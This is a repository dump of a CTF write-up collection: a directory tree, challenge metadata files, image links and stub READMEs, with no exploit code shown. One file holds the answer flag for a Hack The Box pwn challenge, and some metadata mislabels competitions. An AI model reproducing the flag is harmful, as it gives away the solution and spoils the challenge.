├── real-world └── 2023 │ └── clone-and-pwn │ └── non-heavy-ftp │ ├── README.md │ ├── conf.toml │ └── img │ └── feature.png ├── hack-the-box-uni-ctf ├── 2021 │ ├── misc │ │ └── insane-bolt │ │ │ ├── conf.toml │ │ │ ├── img │ │ │ ├── first.png │ │ │ ├── flag.png │ │ │ ├── feature.jpg │ │ │ ├── second.png │ │ │ └── instructions.png │ │ │ ├── solve.py │ │ │ └── README.md │ ├── crypto │ │ └── space-pirates │ │ │ ├── conf.toml │ │ │ ├── img │ │ │ ├── enc.png │ │ │ ├── flag.png │ │ │ ├── feature.jpg │ │ │ ├── first_coeff.png │ │ │ └── next_coeff.png │ │ │ ├── solve.py │ │ │ └── README.md │ ├── pwn │ │ └── arachnoid-heaven │ │ │ ├── conf.toml │ │ │ ├── img │ │ │ ├── flag.png │ │ │ ├── craft.png │ │ │ ├── delete.png │ │ │ ├── obtain.png │ │ │ ├── dangling.png │ │ │ ├── feature.jpg │ │ │ ├── craft_live.png │ │ │ ├── free_list_1.png │ │ │ ├── free_list_2.png │ │ │ ├── free_exploit.png │ │ │ └── malloc_exploit.png │ │ │ ├── solve.py │ │ │ └── README.md │ ├── hardware │ │ └── mechanical-madness │ │ │ ├── conf.toml │ │ │ ├── img │ │ │ ├── wr.png │ │ │ ├── cjmp.png │ │ │ ├── flag.png │ │ │ ├── call_ir.png │ │ │ ├── example.png │ │ │ ├── feature.jpg │ │ │ ├── opcodes.png │ │ │ ├── call_full.png │ │ │ ├── frequency.png │ │ │ ├── logi_init.png │ │ │ ├── registers.png │ │ │ ├── parse_labels.png │ │ │ ├── ram_loaded.png │ │ │ └── cpu_instructions.png │ │ │ ├── assembler.py │ │ │ └── README.md │ ├── reverse │ │ ├── the-vault │ │ │ ├── conf.toml │ │ │ ├── img │ │ │ │ ├── asm.png │ │ │ │ ├── idc.png │ │ │ │ ├── run.png │ │ │ │ ├── compare.png │ │ │ │ ├── feature.jpg │ │ │ │ ├── flag1.png │ │ │ │ └── flag2.png │ │ │ └── README.md │ │ └── upgrades │ │ │ ├── conf.toml │ │ │ ├── img │ │ │ ├── flag.png │ │ │ ├── feature.jpg │ │ │ ├── olevba.png │ │ │ ├── decrypt_func.png │ │ │ └── enc_strings.png │ │ │ ├── solve.py │ │ │ └── README.md │ └── forensics │ │ └── peel-back-the-layers │ │ ├── conf.toml │ │ ├── img │ │ ├── flag.png │ │ ├── save.png │ │ ├── feature.jpg │ │ └── history.png │ │ └── README.md └── 2022 │ └── pwn │ └── spellbook │ ├── flag.txt │ ├── conf.toml │ ├── spellbook │ ├── img │ ├── fmt.png │ ├── almost.png │ ├── close.png │ ├── flag.png │ ├── libc.png │ ├── prompt.png │ ├── alloc_1.png │ ├── feature.jpg │ ├── free_1_2.png │ ├── ida_edit.png │ ├── ida_show.png │ ├── free_1_2_1.png │ └── ida_delete.png │ ├── glibc │ ├── libc.so.6 │ └── ld-linux-x86-64.so.2 │ ├── exploit.py │ └── README.md ├── ALLES └── 2021 │ └── pwn │ └── Ccanary │ ├── conf.toml │ ├── img │ ├── flag.png │ ├── checksec.png │ ├── feature.png │ ├── initial.png │ ├── mappings.png │ └── struct.png │ └── README.md ├── DAM └── 2021 │ └── reverse │ └── danceparty │ ├── conf.toml │ ├── img │ ├── feature.jpg │ ├── solution.png │ ├── strings.png │ ├── python_solve.png │ ├── xor_function.png │ ├── crypt_function.png │ ├── decoding_function.png │ ├── string_b64_decode.png │ ├── string_xref_init.png │ └── string_xref_table.png │ └── README.md ├── naham └── 2022 │ └── reverse │ └── babyrev │ ├── conf.toml │ ├── img │ ├── sub.png │ ├── global.png │ ├── solve.png │ ├── feature.png │ ├── ida_main.png │ ├── initial.png │ ├── ida_secret.png │ ├── ida_new_type.png │ ├── ida_type_change.png │ └── sub_reconstruct.png │ ├── solve.py │ └── README.md ├── sekai └── 2025 │ └── rev │ └── sekai-bank │ ├── img │ ├── flag.png │ ├── login.png │ ├── pin.png │ ├── sendto.png │ └── dashboard.png │ ├── conf.toml │ └── README.md ├── UMD └── 2022 │ └── reverse │ └── bmpv-love-letter │ ├── README.md │ ├── chall.bmpx │ ├── solve.bmpx │ ├── conf.toml │ ├── img │ └── feature.png │ └── sol.py └── TSJ └── 2022 └── reverse └── javascript-vm ├── conf.toml ├── img ├── flag.png ├── feature.jpg ├── init_end.png ├── init_start.png └── output_modes.png ├── solve.py ├── chall.decompiled.cpp ├── chall.disassembled ├── disassemble.py └── README.md /real-world/2023/clone-and-pwn/non-heavy-ftp/README.md: -------------------------------------------------------------------------------- 1 | aaa -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2022/pwn/spellbook/flag.txt: -------------------------------------------------------------------------------- 1 | HTB{f45tb1n_c0rrupt10n_0n_p4g3_gl1bc_2.23} 2 | -------------------------------------------------------------------------------- /ALLES/2021/pwn/Ccanary/conf.toml: -------------------------------------------------------------------------------- 1 | title = "Ccanary" 2 | category = "pwn" 3 | date = "09-01-2023" 4 | ctf = "ALLES" -------------------------------------------------------------------------------- /ALLES/2021/pwn/Ccanary/img/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/ALLES/2021/pwn/Ccanary/img/flag.png -------------------------------------------------------------------------------- /DAM/2021/reverse/danceparty/conf.toml: -------------------------------------------------------------------------------- 1 | title = "Danceparty" 2 | category = "reverse" 3 | date = "10-11-2021" 4 | ctf = "DAMCTF" -------------------------------------------------------------------------------- /ALLES/2021/pwn/Ccanary/img/checksec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/ALLES/2021/pwn/Ccanary/img/checksec.png -------------------------------------------------------------------------------- /ALLES/2021/pwn/Ccanary/img/feature.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/ALLES/2021/pwn/Ccanary/img/feature.png -------------------------------------------------------------------------------- /ALLES/2021/pwn/Ccanary/img/initial.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/ALLES/2021/pwn/Ccanary/img/initial.png -------------------------------------------------------------------------------- /ALLES/2021/pwn/Ccanary/img/mappings.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/ALLES/2021/pwn/Ccanary/img/mappings.png -------------------------------------------------------------------------------- /ALLES/2021/pwn/Ccanary/img/struct.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/ALLES/2021/pwn/Ccanary/img/struct.png -------------------------------------------------------------------------------- /naham/2022/reverse/babyrev/conf.toml: -------------------------------------------------------------------------------- 1 | title = "Babyrev" 2 | category = "reverse engineering" 3 | date = "09-01-2023" 4 | ctf = "Naham" -------------------------------------------------------------------------------- /naham/2022/reverse/babyrev/img/sub.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/naham/2022/reverse/babyrev/img/sub.png -------------------------------------------------------------------------------- /sekai/2025/rev/sekai-bank/img/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/sekai/2025/rev/sekai-bank/img/flag.png -------------------------------------------------------------------------------- /sekai/2025/rev/sekai-bank/img/login.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/sekai/2025/rev/sekai-bank/img/login.png -------------------------------------------------------------------------------- /sekai/2025/rev/sekai-bank/img/pin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/sekai/2025/rev/sekai-bank/img/pin.png -------------------------------------------------------------------------------- /UMD/2022/reverse/bmpv-love-letter/README.md: -------------------------------------------------------------------------------- 1 | # BMPX Love Letter 2 | 3 | A normal .bmp bitmap file. Or is it? 4 | 5 | ## Initial Thoughts -------------------------------------------------------------------------------- /naham/2022/reverse/babyrev/img/global.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/naham/2022/reverse/babyrev/img/global.png -------------------------------------------------------------------------------- /naham/2022/reverse/babyrev/img/solve.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/naham/2022/reverse/babyrev/img/solve.png -------------------------------------------------------------------------------- /sekai/2025/rev/sekai-bank/conf.toml: -------------------------------------------------------------------------------- 1 | title = "Sekai Bank" 2 | category = "reverse engineering" 3 | date = "17-08-2025" 4 | ctf = "SEKAI" -------------------------------------------------------------------------------- /sekai/2025/rev/sekai-bank/img/sendto.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/sekai/2025/rev/sekai-bank/img/sendto.png -------------------------------------------------------------------------------- /DAM/2021/reverse/danceparty/img/feature.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/DAM/2021/reverse/danceparty/img/feature.jpg -------------------------------------------------------------------------------- /DAM/2021/reverse/danceparty/img/solution.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/DAM/2021/reverse/danceparty/img/solution.png -------------------------------------------------------------------------------- /DAM/2021/reverse/danceparty/img/strings.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/DAM/2021/reverse/danceparty/img/strings.png -------------------------------------------------------------------------------- /TSJ/2022/reverse/javascript-vm/conf.toml: -------------------------------------------------------------------------------- 1 | title = "JavaScript VM" 2 | category = "reverse engineering" 3 | date = "09-01-2023" 4 | ctf = "TSJ" -------------------------------------------------------------------------------- /TSJ/2022/reverse/javascript-vm/img/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/TSJ/2022/reverse/javascript-vm/img/flag.png -------------------------------------------------------------------------------- /UMD/2022/reverse/bmpv-love-letter/chall.bmpx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/UMD/2022/reverse/bmpv-love-letter/chall.bmpx -------------------------------------------------------------------------------- /UMD/2022/reverse/bmpv-love-letter/solve.bmpx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/UMD/2022/reverse/bmpv-love-letter/solve.bmpx -------------------------------------------------------------------------------- /naham/2022/reverse/babyrev/img/feature.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/naham/2022/reverse/babyrev/img/feature.png -------------------------------------------------------------------------------- /naham/2022/reverse/babyrev/img/ida_main.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/naham/2022/reverse/babyrev/img/ida_main.png -------------------------------------------------------------------------------- /naham/2022/reverse/babyrev/img/initial.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/naham/2022/reverse/babyrev/img/initial.png -------------------------------------------------------------------------------- /sekai/2025/rev/sekai-bank/img/dashboard.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/sekai/2025/rev/sekai-bank/img/dashboard.png -------------------------------------------------------------------------------- /TSJ/2022/reverse/javascript-vm/img/feature.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/TSJ/2022/reverse/javascript-vm/img/feature.jpg -------------------------------------------------------------------------------- /UMD/2022/reverse/bmpv-love-letter/conf.toml: -------------------------------------------------------------------------------- 1 | title = "BMPV Love Letter" 2 | category = "reverse engineering" 3 | date = "09-01-2023" 4 | ctf = "UMD" -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/misc/insane-bolt/conf.toml: -------------------------------------------------------------------------------- 1 | title = "Insane Bolt" 2 | category = "misc" 3 | date = "09-01-2023" 4 | ctf = "Hack The Box" -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2022/pwn/spellbook/conf.toml: -------------------------------------------------------------------------------- 1 | title = "Spellbook" 2 | category = "pwn" 3 | date = "09-01-2022" 4 | ctf = "Hack The Box Uni CTF" -------------------------------------------------------------------------------- /naham/2022/reverse/babyrev/img/ida_secret.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/naham/2022/reverse/babyrev/img/ida_secret.png -------------------------------------------------------------------------------- /DAM/2021/reverse/danceparty/img/python_solve.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/DAM/2021/reverse/danceparty/img/python_solve.png -------------------------------------------------------------------------------- /DAM/2021/reverse/danceparty/img/xor_function.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/DAM/2021/reverse/danceparty/img/xor_function.png -------------------------------------------------------------------------------- /TSJ/2022/reverse/javascript-vm/img/init_end.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/TSJ/2022/reverse/javascript-vm/img/init_end.png -------------------------------------------------------------------------------- /TSJ/2022/reverse/javascript-vm/img/init_start.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/TSJ/2022/reverse/javascript-vm/img/init_start.png -------------------------------------------------------------------------------- /UMD/2022/reverse/bmpv-love-letter/img/feature.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/UMD/2022/reverse/bmpv-love-letter/img/feature.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/crypto/space-pirates/conf.toml: -------------------------------------------------------------------------------- 1 | title = "Space Pirates" 2 | category = "crypto" 3 | date = "09-01-2023" 4 | ctf = "Hack The Box" -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/pwn/arachnoid-heaven/conf.toml: -------------------------------------------------------------------------------- 1 | title = "Arachnoid Heaven" 2 | category = "pwn" 3 | date = "09-01-2023" 4 | ctf = "Hack The Box" -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2022/pwn/spellbook/spellbook: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2022/pwn/spellbook/spellbook -------------------------------------------------------------------------------- /naham/2022/reverse/babyrev/img/ida_new_type.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/naham/2022/reverse/babyrev/img/ida_new_type.png -------------------------------------------------------------------------------- /real-world/2023/clone-and-pwn/non-heavy-ftp/conf.toml: -------------------------------------------------------------------------------- 1 | title = "Non-Heavy FTP" 2 | category = "clone & pwn" 3 | date = "09-01-2023" 4 | ctf = "Real World" -------------------------------------------------------------------------------- /DAM/2021/reverse/danceparty/img/crypt_function.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/DAM/2021/reverse/danceparty/img/crypt_function.png -------------------------------------------------------------------------------- /TSJ/2022/reverse/javascript-vm/img/output_modes.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/TSJ/2022/reverse/javascript-vm/img/output_modes.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/hardware/mechanical-madness/conf.toml: -------------------------------------------------------------------------------- 1 | title = "Mechanical Madness" 2 | category = "hardware" 3 | date = "09-01-2023" 4 | ctf = "TSJ" -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/reverse/the-vault/conf.toml: -------------------------------------------------------------------------------- 1 | title = "The Vault" 2 | category = "reverse engineering" 3 | date = "09-01-2022" 4 | ctf = "Hack The Box" -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/reverse/upgrades/conf.toml: -------------------------------------------------------------------------------- 1 | title = "Upgrades" 2 | category = "reverse engineering" 3 | date = "09-01-2022" 4 | ctf = "Hack The Box" -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2022/pwn/spellbook/img/fmt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2022/pwn/spellbook/img/fmt.png -------------------------------------------------------------------------------- /naham/2022/reverse/babyrev/img/ida_type_change.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/naham/2022/reverse/babyrev/img/ida_type_change.png -------------------------------------------------------------------------------- /naham/2022/reverse/babyrev/img/sub_reconstruct.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/naham/2022/reverse/babyrev/img/sub_reconstruct.png -------------------------------------------------------------------------------- /DAM/2021/reverse/danceparty/img/decoding_function.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/DAM/2021/reverse/danceparty/img/decoding_function.png -------------------------------------------------------------------------------- /DAM/2021/reverse/danceparty/img/string_b64_decode.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/DAM/2021/reverse/danceparty/img/string_b64_decode.png -------------------------------------------------------------------------------- /DAM/2021/reverse/danceparty/img/string_xref_init.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/DAM/2021/reverse/danceparty/img/string_xref_init.png -------------------------------------------------------------------------------- /DAM/2021/reverse/danceparty/img/string_xref_table.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/DAM/2021/reverse/danceparty/img/string_xref_table.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2022/pwn/spellbook/img/almost.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2022/pwn/spellbook/img/almost.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2022/pwn/spellbook/img/close.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2022/pwn/spellbook/img/close.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2022/pwn/spellbook/img/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2022/pwn/spellbook/img/flag.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2022/pwn/spellbook/img/libc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2022/pwn/spellbook/img/libc.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2022/pwn/spellbook/img/prompt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2022/pwn/spellbook/img/prompt.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/misc/insane-bolt/img/first.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/misc/insane-bolt/img/first.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/misc/insane-bolt/img/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/misc/insane-bolt/img/flag.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/reverse/the-vault/img/asm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/reverse/the-vault/img/asm.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/reverse/the-vault/img/idc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/reverse/the-vault/img/idc.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/reverse/the-vault/img/run.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/reverse/the-vault/img/run.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/reverse/upgrades/img/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/reverse/upgrades/img/flag.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2022/pwn/spellbook/glibc/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2022/pwn/spellbook/glibc/libc.so.6 -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2022/pwn/spellbook/img/alloc_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2022/pwn/spellbook/img/alloc_1.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2022/pwn/spellbook/img/feature.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2022/pwn/spellbook/img/feature.jpg -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2022/pwn/spellbook/img/free_1_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2022/pwn/spellbook/img/free_1_2.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2022/pwn/spellbook/img/ida_edit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2022/pwn/spellbook/img/ida_edit.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2022/pwn/spellbook/img/ida_show.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2022/pwn/spellbook/img/ida_show.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/crypto/space-pirates/img/enc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/crypto/space-pirates/img/enc.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/crypto/space-pirates/img/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/crypto/space-pirates/img/flag.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/forensics/peel-back-the-layers/conf.toml: -------------------------------------------------------------------------------- 1 | title = "Peel Back The Layers" 2 | category = "reverse engineering" 3 | date = "09-01-2023" 4 | ctf = "TSJ" -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/misc/insane-bolt/img/feature.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/misc/insane-bolt/img/feature.jpg -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/misc/insane-bolt/img/second.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/misc/insane-bolt/img/second.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/pwn/arachnoid-heaven/img/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/pwn/arachnoid-heaven/img/flag.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/reverse/the-vault/img/compare.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/reverse/the-vault/img/compare.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/reverse/the-vault/img/feature.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/reverse/the-vault/img/feature.jpg -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/reverse/the-vault/img/flag1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/reverse/the-vault/img/flag1.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/reverse/the-vault/img/flag2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/reverse/the-vault/img/flag2.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/reverse/upgrades/img/feature.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/reverse/upgrades/img/feature.jpg -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/reverse/upgrades/img/olevba.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/reverse/upgrades/img/olevba.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2022/pwn/spellbook/img/free_1_2_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2022/pwn/spellbook/img/free_1_2_1.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2022/pwn/spellbook/img/ida_delete.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2022/pwn/spellbook/img/ida_delete.png -------------------------------------------------------------------------------- /real-world/2023/clone-and-pwn/non-heavy-ftp/img/feature.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/real-world/2023/clone-and-pwn/non-heavy-ftp/img/feature.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/pwn/arachnoid-heaven/img/craft.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/pwn/arachnoid-heaven/img/craft.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/pwn/arachnoid-heaven/img/delete.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/pwn/arachnoid-heaven/img/delete.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/pwn/arachnoid-heaven/img/obtain.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/pwn/arachnoid-heaven/img/obtain.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/crypto/space-pirates/img/feature.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/crypto/space-pirates/img/feature.jpg -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/hardware/mechanical-madness/img/wr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/hardware/mechanical-madness/img/wr.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/misc/insane-bolt/img/instructions.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/misc/insane-bolt/img/instructions.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/pwn/arachnoid-heaven/img/dangling.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/pwn/arachnoid-heaven/img/dangling.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/pwn/arachnoid-heaven/img/feature.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/pwn/arachnoid-heaven/img/feature.jpg -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/reverse/upgrades/img/decrypt_func.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/reverse/upgrades/img/decrypt_func.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/reverse/upgrades/img/enc_strings.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/reverse/upgrades/img/enc_strings.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/crypto/space-pirates/img/first_coeff.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/crypto/space-pirates/img/first_coeff.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/crypto/space-pirates/img/next_coeff.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/crypto/space-pirates/img/next_coeff.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/hardware/mechanical-madness/img/cjmp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/hardware/mechanical-madness/img/cjmp.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/hardware/mechanical-madness/img/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/hardware/mechanical-madness/img/flag.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/pwn/arachnoid-heaven/img/craft_live.png: -------------------------------------------------------------------------------- 